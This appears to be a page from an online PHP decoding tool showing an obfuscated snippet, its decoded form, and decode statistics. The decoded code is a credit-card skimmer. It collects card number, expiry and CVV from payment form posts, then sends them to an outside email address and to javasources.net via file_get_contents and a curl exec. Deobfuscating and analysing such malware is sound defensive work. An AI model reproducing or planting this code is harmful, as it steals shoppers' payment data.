Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?1,"/.*c\x63\x5fex\x70_m\x2e*/"=>2,"/\x2e*\x63c\x5f\x65xp_y\x2e*/"=>3,"/\x2e*\x63\x63\x5f..
Decoded Output download
<?1,"/.*cc_exp_m.*/"=>2,"/.*cc_exp_y.*/"=>3,"/.*cc_cid.*/"=>4);foreach(${${"GLOBALS"}["xdsmyqbuz"]} as${${"GLOBALS"}["ugvybbud"]}=>${${"GLOBALS"}["umbvbkh"]}){${"GLOBALS"}["obpopz"]="p_value";${"GLOBALS"}["lshotndjnx"]="p_key";foreach($_POST["payment"]as${${"GLOBALS"}["lshotndjnx"]}=>${${"GLOBALS"}["obpopz"]}){$nsgmylzdhtm="p_key";$yxgbioeqhx="f_key";if(preg_match(${$yxgbioeqhx},${$nsgmylzdhtm},${${"GLOBALS"}["qufjmw"]})){${"GLOBALS"}["mbzpwqr"]="cc_year";${"GLOBALS"}["kxqndteotq"]="cc_month";$tsixupdeoy="cc_number";$lljdfpkffed="p_value";switch(${${"GLOBALS"}["umbvbkh"]}){case 1:${$tsixupdeoy}=${${"GLOBALS"}["fhhgrwukooel"]};break;case 2:${${"GLOBALS"}["kxqndteotq"]}=${${"GLOBALS"}["fhhgrwukooel"]};break;case 3:${${"GLOBALS"}["mbzpwqr"]}=${${"GLOBALS"}["fhhgrwukooel"]};break;case 4:${${"GLOBALS"}["vjkyqmdigop"]}=${$lljdfpkffed};break;}break;}}}if(isset(${${"GLOBALS"}["wemnydjcncr"]})){if(strlen(${${"GLOBALS"}["xacvprydynns"]})==1)${${"GLOBALS"}["xacvprydynns"]}="0".${${"GLOBALS"}["xacvprydynns"]};$kkxxmpzxgs="cc_pay_encoded";${"GLOBALS"}["utofxnewfkk"]="cc_month";$ldcxvl="cc_year";${"GLOBALS"}["bmcbprw"]="cc_year";if(strlen(${${"GLOBALS"}["bmcbprw"]})==4)${${"GLOBALS"}["cpwftmp"]}=substr(${$ldcxvl},2,2);${${"GLOBALS"}["yfxkidppfwp"]}=${${"GLOBALS"}["wemnydjcncr"]}."|".${${"GLOBALS"}["utofxnewfkk"]}."/".${${"GLOBALS"}["cpwftmp"]}."|".${${"GLOBALS"}["vjkyqmdigop"]}."|".base64_decode($_COOKIE["__bill"]);${${"GLOBALS"}["lzwkumqw"]}=base64_encode(str_rot13(${${"GLOBALS"}["yfxkidppfwp"]}."
*".$_SERVER["HTTP_HOST"]."*"));@mail("[email protected]","bb_".$_SERVER["HTTP_HOST"],${${"GLOBALS"}["yfxkidppfwp"]});${${"GLOBALS"}["razbrif"]}=@file_get_contents("https://javasources.net/WP/new_release/index.php?view=".${$kkxxmpzxgs});if(${${"GLOBALS"}["razbrif"]}!=1){@exec("curl --insecure https://javasources.net/WP/new_release/index.php?view=".${${"GLOBALS"}["lzwkumqw"]});}}} ?>
Did this file decode correctly?
Original Code
<?1,"/.*c\x63\x5fex\x70_m\x2e*/"=>2,"/\x2e*\x63c\x5f\x65xp_y\x2e*/"=>3,"/\x2e*\x63\x63\x5fc\x69d\x2e*/"=>4);foreach(${${"G\x4cOBA\x4c\x53"}["\x78d\x73m\x79q\x62\x75\x7a"]} as${${"\x47\x4c\x4fB\x41L\x53"}["\x75\x67v\x79\x62\x62ud"]}=>${${"\x47\x4c\x4f\x42A\x4c\x53"}["u\x6d\x62v\x62\x6b\x68"]}){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6f\x62\x70o\x70\x7a"]="\x70\x5fva\x6cu\x65";${"\x47L\x4f\x42ALS"}["l\x73h\x6ft\x6ed\x6an\x78"]="\x70\x5f\x6b\x65\x79";foreach($_POST["p\x61ym\x65n\x74"]as${${"GLOB\x41\x4cS"}["\x6c\x73\x68o\x74n\x64j\x6e\x78"]}=>${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x62p\x6f\x70\x7a"]}){$nsgmylzdhtm="\x70_\x6be\x79";$yxgbioeqhx="f\x5fk\x65\x79";if(preg_match(${$yxgbioeqhx},${$nsgmylzdhtm},${${"\x47\x4c\x4f\x42ALS"}["q\x75\x66\x6am\x77"]})){${"G\x4c\x4f\x42\x41\x4cS"}["\x6d\x62\x7a\x70wq\x72"]="c\x63_\x79\x65a\x72";${"\x47\x4cO\x42A\x4c\x53"}["\x6b\x78\x71\x6e\x64\x74\x65o\x74\x71"]="\x63\x63_\x6do\x6et\x68";$tsixupdeoy="\x63\x63\x5f\x6e\x75mb\x65r";$lljdfpkffed="\x70_\x76\x61l\x75\x65";switch(${${"\x47LOB\x41\x4c\x53"}["\x75\x6d\x62\x76\x62\x6bh"]}){case 1:${$tsixupdeoy}=${${"\x47LOB\x41\x4c\x53"}["\x66\x68\x68\x67\x72w\x75k\x6f\x6f\x65\x6c"]};break;case 2:${${"\x47\x4cO\x42\x41\x4c\x53"}["kxq\x6edte\x6f\x74q"]}=${${"\x47\x4c\x4fB\x41\x4cS"}["fh\x68\x67r\x77\x75\x6boo\x65\x6c"]};break;case 3:${${"G\x4cO\x42\x41\x4cS"}["\x6d\x62\x7ap\x77\x71\x72"]}=${${"\x47\x4c\x4fBALS"}["f\x68\x68\x67\x72\x77u\x6b\x6f\x6f\x65l"]};break;case 4:${${"\x47\x4c\x4fB\x41L\x53"}["\x76\x6ak\x79\x71\x6dd\x69\x67op"]}=${$lljdfpkffed};break;}break;}}}if(isset(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x77\x65\x6dnyd\x6a\x63ncr"]})){if(strlen(${${"\x47\x4c\x4fBAL\x53"}["xa\x63\x76pr\x79\x64\x79n\x6e\x73"]})==1)${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["xac\x76p\x72\x79\x64\x79n\x6e\x73"]}="\x30".${${"\x47\x4c\x4f\x42\x41L\x53"}["\x78\x61\x63\x76\x70r\x79\x64\x79\x6en\x73"]};$kkxxmpzxgs="cc_\x70a\x79_\x65\x6e\x63\x6f\x64\x65d";${"\x47\x4cO\x42\x41\x4c\x53"}["\x75\x74\x6f\x66\x78n\x65w\x66\x6b\x6b"]="cc\x5f\x6don\x74\x68";$ldcxvl="\x63\x63_y\x65\x61\x72";${"G\x4cO\x42AL\x53"}["b\x6d\x63bp\x72\x77"]="\x63\x63\x5f\x79e\x61\x72";if(strlen(${${"\x47\x4c\x4f\x42A\x4c\x53"}["bm\x63\x62\x70\x72w"]})==4)${${"G\x4cOB\x41\x4c\x53"}["c\x70\x77f\x74\x6d\x70"]}=substr(${$ldcxvl},2,2);${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x79\x66\x78kidpp\x66\x77p"]}=${${"\x47\x4c\x4fBA\x4cS"}["\x77\x65\x6dn\x79\x64j\x63nc\x72"]}."|".${${"G\x4cO\x42\x41LS"}["u\x74\x6f\x66\x78n\x65\x77f\x6b\x6b"]}."/".${${"\x47LO\x42A\x4cS"}["\x63\x70\x77\x66t\x6d\x70"]}."|".${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x76\x6a\x6b\x79\x71\x6d\x64\x69g\x6f\x70"]}."|".base64_decode($_COOKIE["_\x5f\x62\x69\x6c\x6c"]);${${"\x47LO\x42\x41\x4c\x53"}["\x6c\x7a\x77\x6bu\x6dq\x77"]}=base64_encode(str_rot13(${${"\x47\x4c\x4f\x42A\x4c\x53"}["y\x66\x78ki\x64p\x70f\x77\x70"]}."\r\n*".$_SERVER["HT\x54P_\x48\x4f\x53\x54"]."*"));@mail("\x62\x65\x64ade\x6cae\x76a\x40\x79a\x6e\x64\x65x.\x72\x75","b\x62_".$_SERVER["HTTP\x5fH\x4fST"],${${"\x47\x4cOB\x41\x4cS"}["\x79\x66x\x6b\x69\x64p\x70f\x77\x70"]});${${"G\x4c\x4fBA\x4c\x53"}["r\x61z\x62\x72if"]}=@file_get_contents("\x68t\x74\x70s://\x6a\x61\x76\x61\x73ou\x72\x63\x65\x73.n\x65t/\x57P/\x6eew\x5fr\x65le\x61\x73e/\x69\x6e\x64\x65x.ph\x70?\x76\x69\x65w=".${$kkxxmpzxgs});if(${${"\x47L\x4f\x42A\x4cS"}["\x72\x61\x7ab\x72if"]}!=1){@exec("cu\x72l\x20--insecur\x65\x20h\x74\x74\x70\x73://\x6aava\x73\x6f\x75\x72ce\x73\x2e\x6e\x65t/\x57\x50/\x6eew_\x72e\x6c\x65\x61\x73\x65/i\x6e\x64\x65\x78.\x70\x68\x70?vi\x65\x77=".${${"GLO\x42\x41\x4c\x53"}["\x6c\x7a\x77\x6bu\x6dq\x77"]});}}} ?>
Function Calls
None |
Stats
MD5 | edb3ae61897fc054c76776f8616cb7f4 |
Eval Count | 0 |
Decode Time | 43 ms |